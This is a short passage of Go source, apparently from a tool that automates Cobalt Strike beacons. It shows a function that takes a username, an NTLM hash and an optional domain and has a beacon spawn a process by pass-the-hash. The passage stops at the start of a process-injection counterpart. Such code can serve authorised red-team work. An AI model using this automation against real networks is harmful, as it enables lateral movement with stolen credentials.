--- Pass-the-Hash --- executeSpawnPth spawns a process for pass-the-hash
(ctx context.Context, client *csclient.Client, beaconID string, action Action)
| 357 | |
| 358 | // executeSpawnPth spawns a process for pass-the-hash |
| 359 | func (e *Executor) executeSpawnPth(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) { |
| 360 | user, ok := action.Parameters["user"].(string) |
| 361 | if !ok { |
| 362 | return "", fmt.Errorf("user parameter required for spawn_pth") |
| 363 | } |
| 364 | ntlmHash, ok := action.Parameters["ntlm_hash"].(string) |
| 365 | if !ok { |
| 366 | return "", fmt.Errorf("ntlm_hash parameter required for spawn_pth") |
| 367 | } |
| 368 | domain, _ := action.Parameters["domain"].(string) // optional |
| 369 | |
| 370 | resp, err := client.SpawnPth(ctx, beaconID, domain, user, ntlmHash) |
| 371 | if err != nil { |
| 372 | return "", err |
| 373 | } |
| 374 | return e.waitForOutput(ctx, client, resp.TaskID) |
| 375 | } |
| 376 | |
| 377 | // executeInjectPth injects into a process for pass-the-hash |
| 378 | func (e *Executor) executeInjectPth(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) { |
no test coverage detected